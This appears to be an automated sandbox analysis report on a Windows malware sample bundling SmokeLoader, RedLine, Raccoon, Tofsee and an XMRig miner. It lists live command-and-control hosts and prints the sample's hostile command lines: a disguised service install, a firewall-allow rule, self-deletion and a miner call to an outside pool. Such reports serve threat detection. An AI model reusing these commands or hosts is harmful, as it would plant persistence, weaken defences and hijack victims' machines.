Overview

overview

10

Static

static

539cd7419e...d3.exe

windows7_x64

10

539cd7419e...d3.exe

windows10_x64

10

Analysis

  • max time kernel
    153s
  • max time network
    181s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    30-09-2021 03:01

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General

  • Target

    539cd7419efcd8142d20462511e931d3.exe

  • Size

    240KB

  • MD5

    539cd7419efcd8142d20462511e931d3

  • SHA1

    2faf7df4c337ab8a4136560fd4b6fa0df8085bf7

  • SHA256

    4ba939154ee9df1004629da3aee541a36eb4faabe421190ddbbbf1ccd195e03a

  • SHA512

    a3ee44f0d4af926d6327af02229941e348fadc5d18d7d2b3278c3e6d3ee585af5c8f5be13fa89cd247dadf241ba08fce7c8c6e11d8959461d49305d38009ca45

Score
10/10
gozi_rm3raccoonredlinesmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4rsecond build backdoorbankerdiscoveryevasioninfostealerminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

r

C2

188.72.208.174:38430

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Second BUILD

C2

asyndenera.xyz:15667

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

    bankertrojangozi_rm3
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 23 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\539cd7419efcd8142d20462511e931d3.exe
    "C:\Users\Admin\AppData\Local\Temp\539cd7419efcd8142d20462511e931d3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1824
    • C:\Users\Admin\AppData\Local\Temp\539cd7419efcd8142d20462511e931d3.exe
      "C:\Users\Admin\AppData\Local\Temp\539cd7419efcd8142d20462511e931d3.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1516
  • C:\Users\Admin\AppData\Local\Temp\4597.exe
    C:\Users\Admin\AppData\Local\Temp\4597.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Users\Admin\AppData\Local\Temp\4597.exe
      C:\Users\Admin\AppData\Local\Temp\4597.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:820
  • C:\Users\Admin\AppData\Local\Temp\48F2.exe
    C:\Users\Admin\AppData\Local\Temp\48F2.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Users\Admin\AppData\Local\Temp\48F2.exe
      C:\Users\Admin\AppData\Local\Temp\48F2.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:616
  • C:\Users\Admin\AppData\Local\Temp\5468.exe
    C:\Users\Admin\AppData\Local\Temp\5468.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    PID:1848
    • C:\Users\Admin\AppData\Roaming\5468.exe
      "C:\Users\Admin\AppData\Roaming\5468.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:2008
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:1704
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:1376
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\5468.exe
            3⤵
              PID:1760
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:1884
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
                PID:1332
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  3⤵
                    PID:1348
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 5468.exe
                  2⤵
                    PID:1984
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 0
                      3⤵
                        PID:1948
                  • C:\Users\Admin\AppData\Local\Temp\5CA3.exe
                    C:\Users\Admin\AppData\Local\Temp\5CA3.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1628
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\brorhcfo\
                      2⤵
                        PID:1068
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ovywxxnb.exe" C:\Windows\SysWOW64\brorhcfo\
                        2⤵
                          PID:1984
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" create brorhcfo binPath= "C:\Windows\SysWOW64\brorhcfo\ovywxxnb.exe /d\"C:\Users\Admin\AppData\Local\Temp\5CA3.exe\"" type= own start= auto DisplayName= "wifi support"
                          2⤵
                            PID:1744
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" description brorhcfo "wifi internet conection"
                            2⤵
                              PID:1948
                            • C:\Windows\SysWOW64\sc.exe
                              "C:\Windows\System32\sc.exe" start brorhcfo
                              2⤵
                                PID:1620
                              • C:\Windows\SysWOW64\netsh.exe
                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                2⤵
                                  PID:1636
                              • C:\Users\Admin\AppData\Local\Temp\6461.exe
                                C:\Users\Admin\AppData\Local\Temp\6461.exe
                                1⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of AdjustPrivilegeToken
                                PID:928
                              • C:\Windows\SysWOW64\brorhcfo\ovywxxnb.exe
                                C:\Windows\SysWOW64\brorhcfo\ovywxxnb.exe /d"C:\Users\Admin\AppData\Local\Temp\5CA3.exe"
                                1⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:1852
                                • C:\Windows\SysWOW64\svchost.exe
                                  svchost.exe
                                  2⤵
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Modifies data under HKEY_USERS
                                  PID:1736
                                  • C:\Windows\SysWOW64\svchost.exe
                                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                    3⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1684
                              • C:\Users\Admin\AppData\Local\Temp\7582.exe
                                C:\Users\Admin\AppData\Local\Temp\7582.exe
                                1⤵
                                • Executes dropped EXE
                                PID:364
                                • C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe
                                  "C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1984
                                • C:\Users\Admin\AppData\Local\Temp\Money10k_.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Money10k_.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1944
                              • C:\Users\Admin\AppData\Local\Temp\8210.exe
                                C:\Users\Admin\AppData\Local\Temp\8210.exe
                                1⤵
                                • Executes dropped EXE
                                PID:1852

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

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                              Downloads

                              • memory/364-120-0x0000000001200000-0x0000000001201000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/616-94-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                                Download

                              • memory/616-91-0x0000000000400000-0x0000000000422000-memory.dmp

                                Filesize

                                136KB

                                Download

                              • memory/616-105-0x0000000000960000-0x0000000000961000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/928-112-0x00000000052B0000-0x00000000052B1000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/928-107-0x0000000001140000-0x0000000001141000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1060-71-0x0000000000250000-0x0000000000251000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1060-79-0x0000000000350000-0x0000000000351000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1212-96-0x00000000029C0000-0x00000000029D5000-memory.dmp

                                Filesize

                                84KB

                                Download

                              • memory/1212-216-0x000007FF41AC0000-0x000007FF41ACA000-memory.dmp

                                Filesize

                                40KB

                                Download

                              • memory/1212-215-0x000007FEF5000000-0x000007FEF5143000-memory.dmp

                                Filesize

                                1.3MB

                                Download

                              • memory/1212-64-0x0000000002AE0000-0x0000000002AF5000-memory.dmp

                                Filesize

                                84KB

                                Download

                              • memory/1212-65-0x0000000002B30000-0x0000000002B40000-memory.dmp

                                Filesize

                                64KB

                                Download

                              • memory/1516-62-0x0000000075801000-0x0000000075803000-memory.dmp

                                Filesize

                                8KB

                                Download

                              • memory/1516-60-0x0000000000400000-0x0000000000409000-memory.dmp

                                Filesize

                                36KB

                                Download

                              • memory/1628-103-0x0000000000020000-0x0000000000033000-memory.dmp

                                Filesize

                                76KB

                                Download

                              • memory/1628-104-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                                Download

                              • memory/1684-194-0x0000000000210000-0x0000000000301000-memory.dmp

                                Filesize

                                964KB

                                Download

                              • memory/1736-123-0x00000000000C0000-0x00000000000D5000-memory.dmp

                                Filesize

                                84KB

                                Download

                              • memory/1824-63-0x0000000000020000-0x0000000000029000-memory.dmp

                                Filesize

                                36KB

                                Download

                              • memory/1848-83-0x0000000000B60000-0x0000000000B61000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1848-86-0x0000000000A60000-0x0000000000AB1000-memory.dmp

                                Filesize

                                324KB

                                Download

                              • memory/1848-87-0x00000000004E0000-0x00000000004E1000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1848-88-0x00000000041B0000-0x00000000041B1000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1852-146-0x0000000000400000-0x00000000008AC000-memory.dmp

                                Filesize

                                4.7MB

                                Download

                              • memory/1852-145-0x00000000008B0000-0x0000000000940000-memory.dmp

                                Filesize

                                576KB

                                Download

                              • memory/1852-127-0x0000000000400000-0x000000000086C000-memory.dmp

                                Filesize

                                4.4MB

                                Download

                              • memory/1944-206-0x0000000003010000-0x0000000003011000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1944-204-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1984-210-0x0000000000400000-0x000000000045D000-memory.dmp

                                Filesize

                                372KB

                                Download

                              • memory/1984-212-0x0000000004852000-0x0000000004853000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1984-214-0x0000000004854000-0x0000000004856000-memory.dmp

                                Filesize

                                8KB

                                Download

                              • memory/1984-207-0x0000000000330000-0x000000000034F000-memory.dmp

                                Filesize

                                124KB

                                Download

                              • memory/1984-208-0x0000000001E00000-0x0000000001E1E000-memory.dmp

                                Filesize

                                120KB

                                Download

                              • memory/1984-209-0x0000000000230000-0x0000000000260000-memory.dmp

                                Filesize

                                192KB

                                Download

                              • memory/1984-211-0x0000000004851000-0x0000000004852000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/1984-213-0x0000000004853000-0x0000000004854000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/2008-139-0x0000000004A40000-0x0000000004A41000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/2008-133-0x0000000000E10000-0x0000000000E11000-memory.dmp

                                Filesize

                                4KB

                                Download

                              • memory/2008-147-0x0000000000C40000-0x0000000000C6A000-memory.dmp

                                Filesize

                                168KB

                                Download